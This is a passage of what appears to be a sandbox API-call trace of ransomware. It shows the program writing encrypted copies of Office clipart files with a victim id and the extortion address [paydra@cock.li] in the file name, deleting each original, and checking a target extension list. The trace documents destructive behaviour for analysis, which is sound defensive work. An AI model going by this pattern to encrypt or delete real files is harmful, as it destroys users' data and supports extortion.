CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.577] GetLastError () returned 0x0 [0052.577] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x17ac, lpOverlapped=0x0) returned 1 [0052.579] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0052.579] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.579] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.580] SetEndOfFile (hFile=0x17c) returned 1 [0052.580] CloseHandle (hObject=0x17c) returned 1 [0052.580] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.580] SetEndOfFile (hFile=0x20c) returned 1 [0052.581] CloseHandle (hObject=0x20c) returned 1 [0052.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0052.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString=".doc") returned 4 [0052.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString=".docx") returned 5 [0052.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.582] lstrlenW (lpString=".pdf") returned 4 [0052.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString=".xls") returned 4 [0052.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.582] lstrlenW (lpString=".xlsx") returned 5 [0052.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.582] lstrlenW (lpString=".ppt") returned 4 [0052.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString=".zip") returned 4 [0052.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.582] lstrlenW (lpString=".rar") returned 4 [0052.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString=".bz2") returned 4 [0052.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString=".7z") returned 3 [0052.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString=".dbf") returned 4 [0052.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString=".1cd") returned 4 [0052.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0052.582] lstrlenW (lpString=".jpg") returned 4 [0052.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.583] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.583] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.583] GetLastError () returned 0x0 [0052.583] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xd58, lpOverlapped=0x0) returned 1 [0052.585] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd60, lpOverlapped=0x0) returned 1 [0052.586] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.586] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.586] SetEndOfFile (hFile=0x17c) returned 1 [0052.586] CloseHandle (hObject=0x17c) returned 1 [0052.586] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.586] SetEndOfFile (hFile=0x20c) returned 1 [0052.587] CloseHandle (hObject=0x20c) returned 1 [0052.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0052.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.588] lstrlenW (lpString=".doc") returned 4 [0052.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.588] lstrlenW (lpString=".docx") returned 5 [0052.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.588] lstrlenW (lpString=".pdf") returned 4 [0052.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.588] lstrlenW (lpString=".xls") returned 4 [0052.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.589] lstrlenW (lpString=".xlsx") returned 5 [0052.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.589] lstrlenW (lpString=".ppt") returned 4 [0052.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.589] lstrlenW (lpString=".zip") returned 4 [0052.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.589] lstrlenW (lpString=".rar") returned 4 [0052.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.589] lstrlenW (lpString=".bz2") returned 4 [0052.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.589] lstrlenW (lpString=".7z") returned 3 [0052.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.589] lstrlenW (lpString=".dbf") returned 4 [0052.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.589] lstrlenW (lpString=".1cd") returned 4 [0052.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.589] lstrlenW (lpString=".jpg") returned 4 [0052.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.590] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.590] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.591] GetLastError () returned 0x0 [0052.591] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xa4c, lpOverlapped=0x0) returned 1 [0052.592] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0052.593] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.593] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.593] SetEndOfFile (hFile=0x17c) returned 1 [0052.594] CloseHandle (hObject=0x17c) returned 1 [0052.594] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.594] SetEndOfFile (hFile=0x20c) returned 1 [0052.595] CloseHandle (hObject=0x20c) returned 1 [0052.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0052.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.596] lstrlenW (lpString=".doc") returned 4 [0052.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.596] lstrlenW (lpString=".docx") returned 5 [0052.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.596] lstrlenW (lpString=".pdf") returned 4 [0052.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.596] lstrlenW (lpString=".xls") returned 4 [0052.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.596] lstrlenW (lpString=".xlsx") returned 5 [0052.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.596] lstrlenW (lpString=".ppt") returned 4 [0052.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.596] lstrlenW (lpString=".zip") returned 4 [0052.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.596] lstrlenW (lpString=".rar") returned 4 [0052.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.596] lstrlenW (lpString=".bz2") returned 4 [0052.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.596] lstrlenW (lpString=".7z") returned 3 [0052.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.597] lstrlenW (lpString=".dbf") returned 4 [0052.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.597] lstrlenW (lpString=".1cd") returned 4 [0052.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.597] lstrlenW (lpString=".jpg") returned 4 [0052.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.597] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.597] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.598] GetLastError () returned 0x0 [0052.598] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x19ec, lpOverlapped=0x0) returned 1 [0053.074] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0053.075] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.075] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.075] SetEndOfFile (hFile=0x17c) returned 1 [0053.075] CloseHandle (hObject=0x17c) returned 1 [0053.075] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.075] SetEndOfFile (hFile=0x20c) returned 1 [0053.076] CloseHandle (hObject=0x20c) returned 1 [0053.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0053.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.077] lstrlenW (lpString=".doc") returned 4 [0053.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString=".docx") returned 5 [0053.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.077] lstrlenW (lpString=".pdf") returned 4 [0053.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString=".xls") returned 4 [0053.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.077] lstrlenW (lpString=".xlsx") returned 5 [0053.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.077] lstrlenW (lpString=".ppt") returned 4 [0053.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.077] lstrlenW (lpString=".zip") returned 4 [0053.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.077] lstrlenW (lpString=".rar") returned 4 [0053.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString=".bz2") returned 4 [0053.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString=".7z") returned 3 [0053.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.077] lstrlenW (lpString=".dbf") returned 4 [0053.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.077] lstrlenW (lpString=".1cd") returned 4 [0053.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0053.078] lstrlenW (lpString=".jpg") returned 4 [0053.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.078] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.078] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.078] GetLastError () returned 0x0 [0053.078] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6906, lpOverlapped=0x0) returned 1 [0053.080] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6910, lpOverlapped=0x0) returned 1 [0053.082] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.082] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.082] SetEndOfFile (hFile=0x17c) returned 1 [0053.082] CloseHandle (hObject=0x17c) returned 1 [0053.082] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.082] SetEndOfFile (hFile=0x20c) returned 1 [0053.083] CloseHandle (hObject=0x20c) returned 1 [0053.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0053.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.084] lstrlenW (lpString=".doc") returned 4 [0053.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString=".docx") returned 5 [0053.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.084] lstrlenW (lpString=".pdf") returned 4 [0053.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString=".xls") returned 4 [0053.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.084] lstrlenW (lpString=".xlsx") returned 5 [0053.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.084] lstrlenW (lpString=".ppt") returned 4 [0053.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.084] lstrlenW (lpString=".zip") returned 4 [0053.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.084] lstrlenW (lpString=".rar") returned 4 [0053.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString=".bz2") returned 4 [0053.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString=".7z") returned 3 [0053.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.084] lstrlenW (lpString=".dbf") returned 4 [0053.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.084] lstrlenW (lpString=".1cd") returned 4 [0053.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0053.084] lstrlenW (lpString=".jpg") returned 4 [0053.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.089] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.089] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0053.089] GetLastError () returned 0x0 [0053.090] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7114, lpOverlapped=0x0) returned 1 [0053.098] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7120, lpOverlapped=0x0) returned 1 [0053.100] ReadFile (in: hFile=0x20c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.100] WriteFile (in: hFile=0x17c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.100] SetEndOfFile (hFile=0x17c) returned 1 [0053.100] CloseHandle (hObject=0x17c) returned 1 [0053.100] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.100] SetEndOfFile (hFile=0x20c) returned 1 [0053.101] CloseHandle (hObject=0x20c) returned 1 [0053.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0053.102] lstrlenW (lpString="C:\\Program Files\\Microsoft 